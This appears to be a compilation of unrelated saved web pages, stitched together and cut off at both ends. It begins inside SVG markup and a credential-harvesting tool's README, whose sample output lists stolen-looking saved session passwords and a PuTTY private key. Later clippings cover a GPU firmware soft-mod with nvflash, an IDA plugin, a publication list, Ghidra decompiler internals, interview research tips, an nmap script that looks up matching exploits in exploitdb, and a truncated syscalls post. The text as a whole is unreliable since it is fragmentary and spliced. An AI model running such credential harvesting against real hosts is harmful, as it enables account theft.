4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='737' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Sample output \(-Thorough\):

[code]

    [+] Digging on Win7-Arvanaghi ...
    WinSCP Sessions
    
    Session  : admin-anthony@198.273.212.334
    Hostname : 198.273.212.334
    Username : admin-anthony
    Password : Super*p@ssw0rd
    
    Session  : Freddy@204.332.455.213
    Hostname : 204.332.455.213
    Username : Freddy
    Password : angelico1892
    
    FileZilla Sessions
    
    Name     : BarrySite
    Password : imr34llytheFl@sh
    Host     : 10.8.30.21
    User     : BarryAllen
    Protocol : Use FTP over TLS if available
    Account  : BarryAllenAccount
    Port     : 22
    
    PuTTY Sessions
    
    Session  : PointOfSaleTerminal
    Hostname : 10.8.0.10
    
    PuTTY Private Key Files (.ppk)
    
    Path                   : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
    Protocol               : ssh-rsa
    Comment                : rsa-key-20170116
    Private Key Encryption : none
    Private Key            : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx, 
                             nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
    Private MAC            : b7e47819fee39a95eb374a97f939c3c868f880de
    
    
    Microsoft Remote Desktop (RDP) Sessions
    
    Hostname : us.greatsite.com
    Username : Domain\tester 
    
    Microsoft Remote Desktop .rdp Files
    
    Path                    : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
    Hostname                : dc01.corp.hackerplaypen.com
    Gateway                 : rds01.corp.hackerplaypen.com
    Prompts for Credentials : No
    Administrative Session  : Does not connect to admin session on remote host
    
    
[/code]

* * *
Written by Brandon Arvanaghi \(@arvanaghi\)

This code was initially developed at FireEye. However, any subsequent update
is done by the author outside of FireEye.

# Xen 4.3.0 /VGA PassThrough - GTX 480 soft-moded to Quadro 6000 - Le blog de
Jean David TECHER, un Réunionnais à Saint-Priest/Lyon

**Created:**| _3/27/2014 2:45:35 PM_  
---|---  
**Updated:**| _3/27/2014 2:45:35 PM_  
**Author:**| __  
**Tags:**| _virtusalisation xen_  
  

# Xen 4.3.0 /VGA PassThrough - GTX 480 soft-moded to Quadro 6000

Par david techer, mercredi 18 septembre 2013 à 11:35 :: Xen :: \#969 :: rss

<img src='img/Temp2_9957' />I am very happy to see that my own tests to
quadrify my own GTX 480 to a Quadro 6000 work perfectly. There is a helpful
tutorial to soft-mod a GTX 480 to a C2050. I just try to apply the same idea
to soft-mod my GTX 480 to Quadro 6000. This way I don't have to patch Xen so
my NVIDIA card could be taken into account while domU is being started :\).
Somoene from Xen mailing list\) was the first to do this. He helped to
understand what I was supposed to do.

## Files

  * `GTX480-A.ROM` is backup of my original firmware 
[code]    nvflash.exe --save GTX480-A.rom

[/code]

  * `Asus.GTX480.1536.100406-modified-Quadro-FX-6000_version_002.rom` is the modified firmware after using Nibitor 6.06. Modification was done using this link

## Check firmwares

**Notice: please refer totutorial to soft-mod a GTX 480 to a C2050 before
going on**. I just apply this content -- except that I am using 'od' so I
avoid to take little endian into account

. We can use od to check hex values. Regular PCI Device ID, location:
0000018E.

[code]

    david@gemini:~/VGA_BIOS$ od -tx -Ax GTX480-A.ROM | head -n25 | tail -n1
    000180 8caadf91 fff5f29a 52494350 **06c0** 10de
    david@gemini:~/VGA_BIOS$ od -tx -Ax Asus.GTX480.1536.100406-modified-Quadro-FX-6000_version_002.rom | head -n25 | tail -n1
    000180 8caadf91 fff5f29a 52494350 **06d8** 10de
[/code]

For GTX 480 the firmware's PCI Device ID value is 06C0. For Quadro 6000 the
firmware's PCI Device ID value is 06D8

## soft straps

For the original firmware we can get the 4 hex values \(AND mask 0\), \(ORmask
0\), \(AND mask 1\) and \(OR mask 1\) using od.

[code]

    david@gemini:~/VGA_BIOS$ od -tx -Ax GTX480-A.ROM | grep -E '^0000(5|6)0'
    000050 002a72e9 83491043 **7ffc3fff 0000400** 0
    000060 **7ff1ffff 80020000** c7a53873 e9442de9
[/code]

The 4 hex values could be returned using

[code]

    echo -ne $(od -tx -Ax GTX480-A.ROM | grep -E '^0000(5|6)0' | awk '{ if (NR==1) printf("%s %s\n",$(NF-1),$NF); else printf("%s %s\n",$2,$3); }' | tr "[:lower:]" "[:upper:]")\\n
[/code]

which returns

[code]

    7FFC3FFF 00004000 7FF1FFFF 80020000
[/code]

So Card| PCI Device ID| AND mask 0| OR mask 0| AND mask 1| OR mask 1  
---|---|---|---|---|---  
Assu GTX 480 - Original firmware| 06C0| 0x7FFC3FFF| 0x00004000| 0x7FF1FFFF|
0x80020000  
Assu GTX 480 - expected values for soft straps| 06D8| 0x7FFC3FFF| 0x?????????|
0x7FF1FFFF| 0x00020000  
Let's work on \(OR mask 0\) value.

Referring to tutorial to soft-mod a GTX480 to C0250 we should have

[code]

    -xx+xxxx xxxxxxxx xx++++xx xxxxxxxx
       ^                ^^^^
       |                ||||-pci dev id[0]
       |                |||--pci dev id[1]
       |                ||---pci dev id[2]
       |                |----pci dev id[3]
       |---------------------pci dev id[4]
    
    - cannot be set, always 0
[/code]

Having a look for binaries values for PCI Device ID

  * GTX480 card has 06C0 : 11011000000
  * Quadro 6000 card has 06D8: 11011011000

Original \(OR mask 0\) in GTX 480 was 0x00004000: so

[code]

    -0000000 00000000 01000000 00000000
[/code]

We should have id\[3\]=1 and id\[4\]=1

[code]

    -0010000 00000000 01100000 00000000
[/code]

Converted into hex value we have` 0x10006000`.

## Update firmware

I used nvflash 5.100. There is no known problem with this version \(option
eraseeeprom is provided with this nvflash option\). I created a bootable USB
key.My modifed firmware was copied on the USB key too \(file was copied as
'ASUS.ROM'\)

  * Clean up the current firmware on the card 
[code]    nvflash --eraseeeprom

[/code]

  * Load the firmware into the card 
[code]    nvflash --overridesub --overrideboard --auto --noconfirm -5 -6
ASUS.ROM

[/code]

  * Update the soft straps values 
[code]    nvflash --straps 0x7FFC3FFF 0x10006000 0x7FF1FFFF 0x00020000

[/code]

<img src='img/Temp2_9956' />

### Trackbacks

Aucun trackback.

Les trackbacks pour ce billet sont fermés.

### Commentaires

Aucun commentaire pour le moment.

### Ajouter un commentaire

Les commentaires pour ce billet sont fermés.

# Comsecuris/ida\_strcluster

**Created:**| _9/4/2017 9:50:56 AM_  
---|---  
**Updated:**| _9/4/2017 9:50:56 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# IDA StringCluster - extending IDA's string navigation capabilities

When reverse engineering software, strings within a binary are often a very
insightful resource on the inner workings of the target. However, navigating
strings by default in IDA can be more effective when it comes to quickly
identifying interesting functions.

This plugin extends IDA Pro's capabilities to display strings within the
binary by clustering found strings on a per-function basis. Strings that don't
belong to a function are grouped into the 0\_sub pseudo-function. This allows
to quickly identify interesting functionality as well as strings that are not
part of a function, quickly navigate through the results, filter them, and
hopefully making manual analysis more effective.

In short the plugin does the following:

  * group strings that belong to a function into a visual representation indicating this
  * navigate quickly to string, its reference, and the function using it
  * filter strings using regular expressions
  * filter results while being able to see non-matches within the same function
  * sort strings by EAs on a per-function basis

<img src='img/strcluster.gif' width='715' height='465' alt='strcluster' />

Simply copy the python file to the IDA plugin directory. Please note that the
plugin requires IDA Pro >= 6.9.

NOTE: name changes in functions do not instantly reflect in strcluster. A
reload currently requires launching the plugin again.

  

# Veröffentlichungen - Ruhr-Universität Bochum

**Created:**| _6/21/2011 8:01:14 AM_  
---|---  
**Updated:**| _6/21/2011 8:01:24 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing awesome_  
  

Englisch

  * Arbeitsgruppe
  * Nachrichten
  * Forschung
    * Projekte
    * Veröffentlichungen
    * Forschungsthemen
  * Lehre
  * Links

# Veröffentlichungen

## Automated Identification of Cryptographic Primitives in Binary Programs

2011 - Felix Gröbert, Carsten Willems, Thorsten Holz

14th International Symposium on Recent Advances in Intrusion Detection
\(RAID\) \[PDF\]

## IceShield: Detection and Mitigation of Malicious Websites with a Frozen DOM

2011 - Mario Heiderich, Tilman Frosch, Thorsten Holz

14th International Symposium on Recent Advances in Intrusion Detection
\(RAID\) \[PDF\]

## BotMagnifier: Locating Spambots on the Internet

2011 - Gianluca Stringhini, Thorsten Holz, Brett Stone-Gross, Christopher
Kruegel, Giovanni Vigna

USENIX Security Symposium, 2011 \[PDF\]

## Jackstraws: Picking Command and Control Connections from Bot Traffic

2011 - Gregoire Jacob, Ralf Hund, Christopher Kruegel, Thorsten Holz

USENIX Security Symposium, 2011 \[PDF\]

## Mobile Security Catching Up? - Revealing the Nuts and Bolts of the Security
of Mobile Devices

2011 - Michael Becher , Felix C. Freiling, Johannes Hoffmann, Thorsten Holz,
Sebastian Uellenbeck, Christopher Wolf

IEEE Symposium on Security & Privacy 2011, Oakland \[PDF\]

## Das Internet-Malware-Analyse-System \(InMAS\)

2011 - Markus Engelberth, Felix C. Freiling, Jan Goebel, Christian Gorecki,
Thorsten Holz, Ralf Hund, Philipp Trinius, Carsten Willems

Datenschutz und Datensicherheit \(DuD\), Volume 35, Number 4, pp. 247-252
\[SpringerLink\]

## The Underground Economy of Spam: A Botmaster's Perspective of Coordinating
Large-Scale Spam Campaigns

2011 - Brett Stone-Gross, Thorsten Holz, Gianluca Stringhini, Giovanni Vigna

4th USENIX Workshop on Large-Scale Exploits and Emergent Threats \(LEET '11\)
\[PDF\]

## Automatic Analysis of Malware Behavior using Machine Learning

2010 - Konrad Rieck, Philipp Trinius, Carsten Willems, Thorsten Holz

Journal of Computer Security \(to appear\)

## A Malware Instruction Set for Behavior-Based Analysis

2010 - Philipp Trinius, Carsten Willems, Thorsten Holz, Konrad Rieck

5\. Konferenz "Sicherheit, Schutz und Zuverlässigkeit" \(SICHERHEIT 2010\)
\[PDF\]

## Towards secure deletion on smartphones

2010 - Michael Spreitzenbarth, Thorsten Holz

5\. Konferenz "Sicherheit, Schutz und Zuverlässigkeit" \(SICHERHEIT 2010\)
\[PDF\]

# Visualizing Similarities in Execution Traces

**Created:**| _8/2/2010 7:36:01 PM_  
---|---  
**Updated:**| _8/2/2010 7:36:32 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing Malware-analysis visualization awesome_  
  
<img src='img/Temp2_8987' />

# decompiler: Decompiler Analysis Engine

**Created:**| _5/10/2019 8:37:20 AM_  
---|---  
**Updated:**| _5/10/2019 8:37:20 AM_  
**Author:**| __  
**Tags:**| _Decompiler ghidra_  
  

  

#  Table of Contents

  * Overview
  * Capabilities
  * Design
  * Main Work Flow
  * ghidraimpl
  * SLEIGH
  * Core Classes
  * termrewriting

#  Overview

Welcome to the **Decompiler** **Analysis** **Engine**. It is a complete
library for performing automated data-flow analysis on software, starting from
the binary executable. This documentation is geared toward understanding the
source code and starts with a brief discussion of the libraries capabilities
and moves immediately into the design of the decompiler and the main code
workflow.

The library provides its own Register Transfer Languate \(RTL\), referred to
internally as **p-code** , which is designed specifically for reverse
engineering applications. The disassembly of processor specific machine-code
languages, and subsequent translation into **p-code** , forms a major sub-
system of the decompiler. There is a processor specification language,
referred to as **SLEIGH** , which is dedicated to this translation task, and
there is a corresponding section in the documentation for the classes and
methods used to implement this language in the library \(See SLEIGH\). This
piece of the code can be built as a standalone binary translation library, for
use by other applications.

For getting up to speed quickly on the details of the source and the
decompiler's main data structures, there is a specific documentation page
describing the core classes and methods.

Finally there is a documentation page summarizing the simplification rules
used in the core decompiler analysis.

#  Capabilities

#  Design

The main design elements of the decompiler come straight from standard
_Compiler_ _Theory_ data structures and algorithms. This should come as no
surprise, as both compilers and decompilers are concerned with translating
from one coding language to another. They both follow a general work flow:

  * Parse/tokenize input language.
  * Build abstract syntax trees in an intermediate language.
  * Manipulate/optimize syntax trees.
  * Map intermediate language to output language constructs.
  * Emit final output language encoding.

With direct analogs to \(forward engineering\) compilers, the decompiler uses:

  * A Register Transfer Language \(RTL\) referred to as **p-code**.
  * Static Single Assignment \(SSA\) form.
  * Basic blocks and Control Flow Graphs.
  * Term rewriting rules.
  * Dead code elimination.
  * Symbol tables and scopes.

Despite these similarities, the differences between a decompiler and a
compiler are substantial and run throughout the entire process. These all stem
from the fact that, in general, descriptive elements and the higher-level
organization of a piece of code can only be explicitly expressed in a high-
level language. So the decompiler, working with a low-level language as input,
can only infer this information.

The features mentioned above all have a decompiler specific slant to them, and
there are other tasks that the decompiler must perform that have no real
analog with a compiler. These include:

  * Variable merging \(vaguely related to register coloring\)
  * Type propagation
  * Control flow structuring
  * Function prototype recovery
  * Expression recovery

#  Main Work Flow

Here is an outline of the decompiler work flow.

  1. Specify Entry Point
  2. Generate Raw P-code
  3. Generate Basic Blocks and the CFG
  4. Inspect Sub-functions
  5. Adjust/Annotate P-code
  6. The Main Simplification Loop
     * Generate SSA Form
     * Adjust p-code in special situations.
     * Eliminate Dead Code
     * Propagate Local Types
     * Perform Term Rewriting
     * Adjust Control Flow Graph
     * Recover Control Flow Structure
  7. Perform Final P-code Transformations
  8. Exit SSA Form and Merge Low-level Variables \(phase 1\)
  9. Determine Expressions and Temporary Variables
  10. Merge Low-level Variables \(phase 2\)
  11. Add Type Casts
  12. Establish Function's Prototype
  13. Select Variable Names
  14. Do Final Control Flow Structuring
  15. Emit Final C Tokens

##  Specify Entry Point

The user specifies a starting address for a particular function.

##  Generate Raw P-code

The p-code generation engine is called **SLEIGH**. Based on a processor
specification file, it maps binary encoded machine instructions to sequences
of p-code operations. P-code operations are generated for a single machine
instruction at a specific address. The control flow through these p-code
operations is followed to determine if control falls through, or if there are
jumps or calls. A work list of new instruction addresses is kept and is
continually revisited until there are no new instructions. After the control
flow is traced, additional changes may be made to the p-code.

  1. PIC constructions are checked for, now that the extent of the function is known. If a call is to a location that is still within the function, the call is changed to a jump.
  2. Functions which are marked as inlined are filled in at this point, before basic blocks are generated. P-code for the inlined function is generated separately and control flow is carefully set up to link it in properly.

##  Generate Basic Blocks and the CFG

Basic blocks are generated on the p-code instructions \(_not_ the machine
instructions\) and a control flow graph of these basic blocks is generated.
Control flow is normalized so that there is always a unique start block with
no other blocks falling into it. In the case of subroutines which have
branches back to their very first machine instruction, this requires the
creation of an empty placeholder start block that flows immediately into the
block containing the p-code for the first instruction.

##  Inspect Sub-functions

  1. Addresses of direct calls are looked up in the database and any parameter information is recovered.
  2. If there is information about an indirect call, parameter information can be filled in and the indirect call can be changed to a direct call.
  3. Any call for which no prototype is found has a default prototype set for it.
  4. Any global or default prototype recovered at this point can be overridden locally.

##  Adjust/Annotate P-code

  1. The context database is searched for known values of memory locations coming into the function. These are implemented by inserting p-code **COPY** instructions that assign the correct value to the correct memory location at the beginning of the function.
  2. The recovered prototypes may require that extra p-code is injected at the call site so that certain actions of the call are explicit to the analysis engine.
  3. Other p-code may be inserted to indicate changes a call makes to the stack pointer. Its possible that the change to the stack pointer is unknown. In this case **INDIRECT** p-code instructions are inserted to indicate that the state of the stack pointer is unknown at that point, preparing for the extrapop action.
  4. For each p-code call instruction, extra inputs are added to the instruction either corresponding to a known input for that call, or in preparation for the prototype recovery actions. If the \(potential\) function input is located on the stack, a temporary is defined for that input and a full p-code **LOAD** instruction, with accompanying offset calculation, is inserted before the call to link the input with the \(currently unknown\) stack offset. Similarly extra outputs are added to the call instructions either representing a known return value, or in preparation for parameter recovery actions.
  5. Each p-code **RETURN** instruction for the current function is adjusted to hide the use of the return address and to add an input location for the return value. The return value is considered an input to the **RETURN** instruction.

##  The Main Simplification Loop

###  Generate SSA Form

This is very similar to forward engineering algorithms. It uses a fairly
standard phi-node placement algorithm based on the control flow dominator tree
and the so-called dominance frontier. A standard renaming algorithm is used
for the final linking of variable defs and uses. The decompiler has to take
into account partially overlapping variables and guard against various
aliasing situations, which are generally more explicit to a compiler. The
decompiler SSA algorithm also works incrementally. Many of the stack
references in a function cannot be fully resolved until the main term
rewriting pass has been performed on the register variables. Rather than
leaving stack references as associated **LOAD** s and **STORE** s, when the
references are finally discovered, they are promoted to full variables within
the SSA tree. This allows full copy propagation and simplification to occur
with these variables, but it often requires 1 or more additional passes to
fully build the SSA tree. Local aliasing information and aliasing across
subfunction calls can be annotated in the SSA structure via **INDIRECT**
p-code operations, which holds the information that the output of the
**INDIRECT** is derived from the input by some indirect \(frequently unknown\)
effect.

###  Eliminate Dead Code

Dead code elimination is essential to the decompiler because a large
percentage of machine instructions have side-effects on machine state, such as
the setting of flags, that are not relevant to the function at a particular
point in the code. Dead code elimination is complicated by the fact that its
not always clear what variables are temporary, locals, or globals. Also,
compilers frequently map smaller \(1-byte or 2-byte\) variables into bigger
\(4-byte\) registers, and manipulation of these registers may still carry
around left over information in the upper bytes. The decompiler detects dead
code down to the bit, in order to appropriately truncate variables in these
situations.

###  Propagate Local Types

The decompiler has to infer high-level type information about the variables it
analyzes, as this kind of information is generally not present in the input
binary. Some information can be gathered about a variable, based on the
instructions it is used in \(.i.e if it is used in a floating point
instruction\). Other information about type might be available from header
files or from the user. Once this is gathered, the preliminary type
information is allowed to propagate through the syntax trees so that related
types of other variables can be determined.

###  Perform Term Rewriting

The bulk of the interesting simplifications happen in this section. Following
Formal Methods style term rewriting, a long list of rules are applied to the
syntax tree. Each rule matches some potential configuration in a portion of
the syntax tree, and after the rule matches, it specifies a sequence of edit
operations on the syntax tree to transform it. Each rule can be applied
repeatedly and in different parts of the tree if necessary. So even a small
set of rules can cause a large transformation. The set of rules in the
decompiler is extensive and is tailored to specific reverse engineering needs
and compiler constructs. The goal of these transformations is not to optimize
as a compiler would, but to simplify and normalize for easier understanding
and recognition by human analysts \(and follow on machine processing\).
Typical examples of transforms include, copy propagation, constant
propagation, collecting terms, cancellation of operators and other algebraic
simplifications, undoing multiplication and division optimizations, commuting
operators, ....

###  Adjust Control Flow Graph

The decompiler can recognize

  * unreachable code
  * unused branches
  * empty basic blocks
  * redundant predicates
  * ...

It will remove branches or blocks in order to simplify the control flow.

###  Recover Control Flow Structure

The decompiler recovers higher-level control flow objects like loops,
**if/**else** blocks**, and **switch** statements. The entire control flow of
the function is built up hierarchically with these objects, allowing it to be
expressed naturally in the final output with the standard control flow
constructs of the high-level language. The decompiler recognizes common high-
level unstructured control flow idioms, like _break_ , and can use node-
splitting in some situations to undo compiler flow optimizations that prevent
a structured representation.

##  Perform Final P-code Transformations

During the main simplification loop, many p-code operations are normalized in
specific ways for the term rewriting process that aren't necessarily ideal for
the final output. This phase does transforms designed to enhance readability
of the final output. A simple example is that all subtractions
\(**INT\_SUB**\) are normalized to be an addition on the twos complement in
the main loop. This phase would convert any remaining additions of this form
back into a subtraction operation.

##  Exit SSA Form and Merge Low-level Variables \(phase 1\)

The static variables of the SSA form need to be merged into complete high-
level variables. The first part of this is accomplished by formally exiting
SSA form. The SSA phi-nodes and indirects are eliminated either by merging the
input and output variables or inserting extra **COPY** operations. Merging
must guard against a high-level variable holding different values \(in
different memory locations\) at the same time. This is similar to register
coloring in compiler design.

##  Determine Expressions and Temporary Variables

A final determination is made of what the final output expressions are going
to be, by determining which variables in the syntax tree will be explicit and
which represent temporary variables. Certain terms must automatically be
explicit, such as constants, inputs, etc. Other variables are forced to be
explicit because they are read too many times or because making it implicit
would propagate another variable too far. Any variables remaining are marked
implicit.

##  Merge Low-level Variables \(phase 2\)

Even after the initial merging of variables in phase 1, there are generally
still too many for normal C code. So the decompiler, does additional, more
speculative merging. It first tries to merge the inputs and outputs of copy
operations, and then the inputs and outputs of more general operations. And
finally, merging is attempted on variables of the same type. Each potential
merge is subject to register coloring restrictions.

##  Add Type Casts

Type casts are added to the code so that the final output will be
syntactically legal.

##  Establish Function's Prototype

The register/stack locations being used to pass parameters into the function
are analyzed in terms of the parameter passing convention being used so that
appropriate names can be selected and the prototype can be printed with the
input variables in the correct order.

##  Select Variable Names

The high-level variables, which are now in their final form, have names
assigned based on any information gathered from their low-level elements and
the symbol table. If no name can be identified from the database, an
appropriate name is generated automatically.

##  Do Final Control Flow Structuring

  1. Order separate components
  2. Order switch cases
  3. Determine which unstructured jumps are breaks
  4. Stick in labels for remaining unstructured jumps

##  Emit Final C Tokens

Following the recovered function prototype, the recovered control flow
structure, and the recovered expressions, the final C tokens are generated.
Each token is annotated with its syntactic meaning, for later syntax
highlighting. And most tokens are also annotated with the address of the
machine instruction with which they are most closely associated. This is the
basis for the machine/C code cross highlighting capability. The tokens are
passed through a standard Oppen pretty-printing algorithm to determine the
final line breaks and indenting.

# Lenny Zeltser on Information Security — How to Research in Preparation For
an IT Interview

**Created:**| _11/12/2010 5:00:32 PM_  
---|---  
**Updated:**| _11/12/2010 5:00:44 PM_  
**Author:**| __  
**Tags:**| _interviews career_  
  

## How to Research in Preparation For an IT Interview

Research the position details and the person who will interview you when you
are applying for an IT job. I emphasized this in an earlier post, but I
realize that accomplishing this is easier said than done. Here are a few tips
on conducting background research prior to an IT interview.

<img src='img/Temp2_4883.jpg' />

I’m assuming that you have the technical skills to qualify for the position;
however, possessing the skills is different from being able to convince the
interviewer that you have the skills. Knowing about the person interviewing
you, and having background details about the position you’re pursuing will
make you more persuasive.

The reality of many IT interviews is that you don’t know who you will be
speaking to in advance. Also, you might not know much about the position prior
to the conversation, because the text in many job postings is generic. What to
do?

**Working with a Recruiter**

If working with a recruiter, insist that he or she provide you with much more
information than merely:

  * The generic job posting
  * Time and place to call for the interview

If the recruiter is unable to tell you the name of the hiring manager or
cannot share the inside scoop regarding the position, that’s a red flag. This
indicates that the recruiter doesn’t have the relationships within the company
to give you a leg up. Look for another recruiter who can provide more value.

Finding a good recruiter and establishing rapport takes time, and is best done
before you need to use their services to find a job. Sorry, I know reading
this doesn’t help those who are in a bind and need to find a job ASAP.

**Your Social Network**

Tap into your social network to research the job and the interviewer. LinkedIn
is the most commonly-used site for such queries, but Facebook is becoming more
useful in this regard, as is Twitter.

If you can find the interviewer’s profile on LinkedIn, great. You probably
won’t be directly connected to the person, but you might ask your friends for
the introduction.

You can also search the social networks for the company name. LinkedIn can
show you which company employees are in your extended network, giving you an
idea of whom you can contact to learn about the technology used by the
organization, the details of the position you are pursuing, and to find out
about the people with whom you might interview and work.

Emailing people to ask for information is a good start, but don’t be shy to
ask them for a brief phone conversation or to invite them for a chat over
coffee or tea. When contacting people, point out the fact that job
descriptions are often too generic, and ask them for any additional details
they may be able to provide. Clarify that you want to be as prepared as
possible for the discussion, so you can set your best foot forward and also so
you can confirm that the job is a good match for you.

Here are 3 services that aim to help people mine their social network as part
of the job search process:

  * BraveNewTalent \(Facebook\)
  * JIBE \(Facebook and LinkedIn
  * BranchOut \(Facebook\)

It helps to have a large \(but meaningful\) social network. Not surprisingly,
the time to make friends and meet people is before you need to ask them for
assistance when looking for the job.

**Web Search Engines**

You can find public profiles of individuals you’re researching on search
engines even if you’re not connected to these people through your social
networks. In addition to using the standard search engines, explore people and
social network-focused sites, such as:

  * SocialMention
  * EntityCube
  * Topsy
  * Pipl

As I mentioned in my earlier post, knowing the person’s background will make
it easier for you to “click” with him or her. At the same time, you don’t want
to overdo your research by invading the person’s privacy. Just because you may
be able to find out where the person lives, it doesn’t mean you should.

When researching people, remember that you can look not only for people who
currently work for the company or for the specific group where you’ll
interview. You can also look for people who used to work there; they may be
willing to share background details with you that you might have a hard time
obtaining from current employees. Remember, though, you’re just looking for
general information, not confidential details or trade secrets\!

Using the standard search engines can help you find information about the
company where you hope to work: not only the general business details, but
also information about the technology you may need to support. This
information can be in press releases, employee resumes, product white papers,
conference presentations, and so on.

**Additional Tips**

For more tips on preparing for an IT job interview, see my earlier post on
this topic.

— Lenny Zeltser

# exploitdb nmap script available

**Created:**| _12/27/2010 8:38:29 AM_  
---|---  
**Updated:**| _12/27/2010 8:38:41 AM_  
**Author:**| __  
**Tags:**| _Exploit scripting network-security scan-monkey_  
  

## exploitdb nmap script available

_bytoolswatch on December 21, 2010 · 1 Comment_

Here is a little script wrote by “**L10n** “. It searches the exploitdb
archive for possible exploits. It is very verbose and can give you false
positives.

More information about official scripts.

> ###### description = \[\[Searches for exploits in the exploitdb on
> Backtrack. This archive can also be found at http://www.exploitdb.com\]\]  
>  author = “L10n”  
>  license = “Same as Nmap–See http://nmap.org/book/man-legal.html”  
>  categories = \{“safe”, “vuln”\}
> require\(“stdnse”\)
> portrule = function\(host, port\)  
>  return port.state == “open”  
>  end
> action = function\(host, port\)  
>  local n = port.version.product  
>  local exploits = “”  
>  for line in io.lines \(“/pentest/exploits/exploitdb/files.csv”\) do  
>  if string.match\(line, n\) and string.match\(line, “remote”\) then  
>  local items = split\(line, “,”\)  
>  local file = items\[2\]  
>  local desc = items\[3\]  
>  exploits = exploits..file..” —> “..desc..”\n”  
>  end  
>  end  
>  if not string.match\(exploits, “\n”\) then  
>  exploits = nil  
>  end  
>  exploits = ” \n”..exploits  
>  return exploits  
>  end
> function split\(str, pat\)  
>  local t = \{\} — NOTE: use \{n = 0\} in Lua-5.0  
>  local fpat = “\(.-\)” .. pat  
>  local last\_end = 1  
>  local s, e, cap = str:find\(fpat, 1\)  
>  while s do  
>  if s ~= 1 or cap ~= “” then  
>  table.insert\(t,cap\)  
>  end  
>  last\_end = e+1  
>  s, e, cap = str:find\(fpat, last\_end\)  
>  end  
>  if last\_end <= \#str then  
>  cap = str:sub\(last\_end\)  
>  table.insert\(t, cap\)  
>  end  
>  return t  
>  end
  *[December 21, 2010]: 2010-12-21

# System Calls Make the World Go Round - Gustavo Duarte

**Created:**| _4/12/2015 10:17:54 AM_  
---|---  
**Updated:**| _4/12/2015 10:17:54 AM_  
**Author:**| __  
**Tags:**| _kernel syscall_  
  
  

# System Calls Make the World Go Round

Nov 6th, 2014

I hate to break it to you, but a user application is a helpless brain in a
vat:

<img src='img/Temp2_7809.png' width='760' height='340' />

_Every_ interaction with the outside world is mediated by the kernel through
**system calls**. If an app saves a file, writes to the terminal, or opens a
TCP connection, the kernel is involved. Apps are regarded as highly
suspicious: at best a bug-ridden mess, at worst the malicious brain of an evil
genius.

These system calls are function calls from an app into the kernel. They use a
specific mechanism for safety reasons, but really you’re just calling the
kernel’s API. The term “system call” can refer to a specific function offered
by the kernel \(_e.g._ , the `open()` system call\) or to the calling
mechanism. You can also say **syscall** for short.

This post looks at system calls, how they differ from calls to a library, and
tools to poke at this OS/app interface. A solid understanding of what happens
_within an app_ versus what happens through the OS can turn an impossible-to-
fix problem into a quick, fun puzzle.

So here’s a running program, a _user process_ :

<img src='img/Temp2_7810.png' width='232' height='428' />

It has a private virtual address space, its very own memory sandbox. The vat,
if you will. In its address space, the program’s binary file plus the
libraries it uses are all memory mapped. Part of the address space maps the
kernel itself.

Below is the code for our program, `pid`, which simply retrieves its process
id via getpid\(2\):

pid \(pid.c\) download

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
[/code]

|

[code]

    #include <sys/types.h>
    #include <unistd.h>
    #include <stdio.h>
    
    int main()
    {
        pid_t p = getpid();
        printf("%d\n", p);
    }
    
[/code]  
---|---  
In Linux, a process isn’t born knowing its PID. It must ask the kernel, so
this requires a system call:

<img src='img/Temp2_7811.png' width='760' height='428' />

It all starts with a call to the C library’s getpid\(\), which is a _wrapper_
for the system call. When you call functions like `open(2)`, `read(2)`, and
friends, you’re calling these wrappers. This is true for many languages where
the native methods ultimately end up in libc.

Wrappers offer convenience atop the bare-bones OS API, helping keep the kernel
lean. Lines of code is where bugs live, and _all kernel code_ runs in
privileged mode, where mistakes can be disastrous. Anything that can be done
in user mode should be done in user mode. Let the libraries offer friendly
methods and fancy argument processing a la `printf(3)`.

Compared to web APIs, this is analogous to building the simplest possible HTTP
interface to a service and then offering language-specific libraries with
helper methods. Or maybe some caching, which is what libc’s `getpid()` does:
when first called it actually performs a system call, but the PID is then
cached to avoid the syscall overhead in subsequent invocations.

Once the wrapper has done its initial work it’s time to jump into
~~hyperspace~~ the kernel. The mechanics of this transition vary by processor
architecture. In Intel processors, arguments and the syscall number are loaded
into registers, then an instruction is executed to put the CPU in privileged
mode and immediately transfer control to a global syscall entry point within
the kernel. If you’re interested in details, David Drysdale has two great
articles in LWN \(first, second\).

The kernel then uses the syscall number as an index into sys\_call\_table, an
array of function pointers to each syscall implementation. Here, sys\_getpid
is called:

<img src='img/Temp2_7808.png' width='760' height='428' />

In Linux, syscall implementations are mostly arch-independent C functions,
sometimes trivial, insulated from the syscall mechanism by the kernel’s
excellent design. They are regular code working on general data structures.
Well, apart from being _completely paranoid_ about argument validation.

Once their work is done they `return` normally, and the arch-specific code
takes care of transitioning back into user mode where the wrapper does some
post processing. In our example, getpid\(2\) now caches the PID returned by
the kernel. Other wrappers might set the global `errno` variable if the kernel
returns an error. Small things to let you know GNU cares.

If you want to be raw, glibc offers the syscall\(2\) function, which makes a
system call without a wrapper. You can also do so yourself in assembly.
There’s nothing magical or privileged about a C library.

This syscall design has far-reaching consequences. Let’s start with the
incredibly useful strace\(1\), a tool you can use to spy on system calls made
by Linux processes \(in Macs, see dtruss\(1m\) and the amazing dtrace; in
Windows, see sysinternals\). Here’s strace on `pid`:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
